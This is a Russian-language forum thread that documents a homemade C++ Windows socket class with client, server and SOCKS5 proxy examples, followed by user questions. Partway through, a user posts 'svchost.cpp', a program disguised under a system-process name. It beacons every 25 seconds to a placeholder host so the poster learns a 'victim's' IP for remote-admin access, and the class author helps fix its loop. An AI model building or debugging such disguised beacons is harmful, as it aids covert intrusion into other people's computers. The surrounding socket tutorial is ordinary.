Написал недавно удобный класс Socket для работы с сокетами. Класс содержит следующие методы: Socket(bool create=1, int type=SOCK_STREAM, int protocol=IPPROTO_TCP) Конструктор класса Socket. Флаг create указывает на необходимость создания сокета в конструкторе. По умолчанию принимается тип SOCK_STREAM и протокол IPPROTO_TCP (TCP/IP) Socket(SOCKET) создание объекта на основе уже созданного сокета Socket(Socket&) конструктор копии ~Socket() деструктор int create(int type=SOCK_STREAM, int protocol=IPPROTO_TCP) создает сокет указанного типа и протокола int set_buffer_size(int size) установка размера входного буфера. возвращает старое значение int get_buffer_size() получение размера входного буфера bool set_terminate_flag(bool value) установка флага, при котором будет записываться 0 в конец буфера при получении данных. возвращает старое значение bool get_terminate_flag() получение флага записи 0 int get_last_length() получение длины последнего полученного блока данных static char* getlasterror() возвратить текстовое описание ошибки. утечки памяти не происходит, т.к. место зарезервировано в сегменте данных int bind(int port, int addr=INADDR_ANY) биндит сокет к порту и указанному адресу. эта и все остальные сокетные функции возвращает -1 при ошибке и 0, если все нормально int connect(char* host_name, int port) соединяется с указанном хостом и портом. Можно передать доменное имя int connect_to(sockaddr_in* sa) соединяется согласно параметрам, указанным в заполненной структуре SOCKADDR_IN int close() закрывает сокет int listen(int backlog=5) переводит сокет в прослушивающий режим Socket* accept(sockaddr_in* from=0) ждет входящего соединения. Можно передать адрес sockaddr_in, куда будет записан адрес удаленного компьютера. Возвращает новый объект Socket, который нужно будет удалить оператором delete. char* recv(char* buffer, int buflen=0) получает данные из сокета. Если передать 0 вместо длины буфера, будет использоваться дефолтное значение unsigned char* recv(unsigned char* buffer, int buflen=0) перегруженный аналог предыдущей функции для типа unsigned char* char* recv() получение данных с автовыделением памяти. Она должна будет удалена вызовом delete. int send(char* buffer, int buflen=0) и int send(unsigned char* buffer, int buflen=0) отправка данных в сокет. Если указать длину 0, то длина будет вычислена с помощью strlen() (до первого нулевого байта) Резолвинг доменных имен: static char* nslookup(char* host_name) и static DWORD nslookup_raw(char* host_name) возвращают IP-адрес, соответствующий домену, соответственно в строковом и числовом форматах. Поддержка потокового ввода-вывода для строк Socket& operator<<(char* string) и Socket& operator>>(char* buffer) Пример клиентской программы: Code: Socket sock; sock.connect("mail.ru", 80); sock<<"GET http://mail.ru/ HTTP/1.0\r\n\r\n"; char buf[1024]; sock.set_buffer_size(sizeof(buf)); sock>>buf; MessageBox(0, buf, "mail.ru", 0); sock.close(); Пример серверной программы (с проверкой на ошибки): Code: Socket serv; if(serv.bind(8080)==-1) return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND); if(serv.listen()==-1) return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND); Socket *remote = serv.accept(); if(!remote) return MessageBox(0, serv.getlasterror(), "Unable to accept connection", MB_ICONHAND); char buf[1024]; remote->set_buffer_size(sizeof(buf)); (*remote)>>buf; (*remote)<<"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Socket class demo application</h1>Hello, World!"; remote->close(); serv.close(); delete remote; MessageBox(0, buf, "Remote", 0); Пример наследования - класс Socks для работы с SOCKS-прокси: Code: class Socks: public Socket { public: int connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port); }; // Connect to SOCKS int Socks::connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port) { set_terminate_flag(0); if(Socket::connect(proxy_host, proxy_port)==-1) return -1; unsigned char packet[1024]; int bytes=0; memcpy(packet, "\x05\x01\x00", 3); send(packet, 3); recv(packet, sizeof(packet)); bytes = get_last_length(); if(*(WORD*)packet != 0x0005) { close(); return -1; } DWORD ip = nslookup_raw(dest_host); if(!ip) { close(); return -1; } packet[0] = 5; // VERSION: 5 packet[1] = 1; // METHOD: CONNECT packet[2] = 0; // RSV: 0 packet[3] = 1; // ADTYPE: IPv4 *(DWORD*)&(packet[4]) = ip; *(WORD*)&(packet[8]) = htons(dest_port); send(packet, 10); recv(packet, sizeof(packet)); bytes = get_last_length(); if(bytes!=10 || packet[1]) { close(); return -1; } set_terminate_flag(1); return 0; } После вызова connect можно читать и писать в сокет как обычно Скачать: socket.h (2 Kb) socket.cpp (6 Kb)
слушай ток я чет не пойму get_buffer_size() это "получение размера входного буфера" тобеш ответ сервера?? почему тогла всегда выдает 1024 ! и recv() тоже берет ток 1024 символа, а не весь ответ! или я чет не разобрался..
Если recv() не передать длину буфера или юзать конструкцию sock>>buffer, то из сокета прочтется количество байт, равное дефолтной длине буфера (по умолчанию 1024). Это значение меняется функцией set_buffer_size(). А получение реального размера - get_last_length(). пример: Code: char buffer[512]; sock.set_buffer_size(sizeof(buffer)); sock<<"GET http://mail.ru/\r\n\r\n"; sock>>buffer; прочтет 512 байт во время выполнения sock>>buffer, т.к. это значение было установлено
В смысле? Code: char buf[512]; // создаем буфер sock.set_buffer_size(512); // задаем размер do { sock>>buf; // парсим } while(sock.get_last_length()>0); sock.close(); примерно так выглядит цикл чтения из сокета.
возник вопрос, как определит наличие работающего сетевого подключения к интернету? или открыть сокет и попытаться что-то прочитать и есть самый простой вариант? как отловить момент когда юзер подключиться? Code: // file: svchost.cpp #include "stdafx.h" #include "socket.h" int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char buf[32]; while (true) { Socket sock; sock.connect("my.ip.add.ress", 177); sock << "GET http://my.ip.add.ress/ HTTP/1.0\r\n\r\n"; sock.set_buffer_size(sizeof(buf)); sock >> buf; sock.close(); Sleep(25000); } return 0; } вот такой исходник. использую чтобы при коннекте момедного юзера с моим radmin'ом мне сразу пришел его IP (у меня запущен сервер с помощью того же класса, пишет в лог и MessageBox кидает при попытке коннекта). так вот боюсь перегрузить систему жертвы, не нужно чтоб лишнюю оперативу жрало и вообще процессор занимало... да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...
а сокеты везде одни и теже просто убираем класс меняем заголовки функций потом все переменные переносим в раздел описания переменных и готово =) у нас модуль работы с сокетами для паскалеподобных
потому что в конце цикла вызов sock.close() намертво его убивает. а так в цикле на каждой итерации каждый раз вызывается конструктор класса. когда вытащишь - конструктор вызывается один раз перед циклом. выход из ситуации - вытащить из цикла Socket sock и пихнуть в цикл перед connect вызов socket.create() для создания нового сокета. v@no, вот и перепеши на дельфи, если тебе не в лом
легче самому написать с нуля =), для тех кто хочет с сокетами винапи поработать на делфи или паскале есть замечательная книга "Делфи в шутку и серьез или Что умеют хакеры" от автора книги "С++ глазаси хакера" там все что касается работы в сети достаточно хорошо написано
От Флёнова? фуууууууууууууууууууууу.=\\\\\\\\\\ Я читал его книжки, пару штук. Я не знаю, чем он накуривался, но там таакой бред... Помнится, мы с тохой и с бр читали его книжку какую-то в магазине и ржали ) Кстати, че вас на дельфи понесло) Я писал для С++.
_Great_ неплохо неплохо понравился мне твой клас. Анекоторые книжки Флёнова могут помочь новичкам. но их лучше параллельно читать с какой нибудь другой книженцией т.к там действительно бывает бред.
А можно куда-нибудь еще раз пожалуйста перезалить фаилы socket.h и socket.cpp или выслать на мыло [email protected]. Зарание благодарен.
Неа. Этот мудак пишет про то, в чем АБСОЛЮТНО не шарит. Видел я его книгу по пхп - жуть =\ Great: Да вы, батенька, археолог оО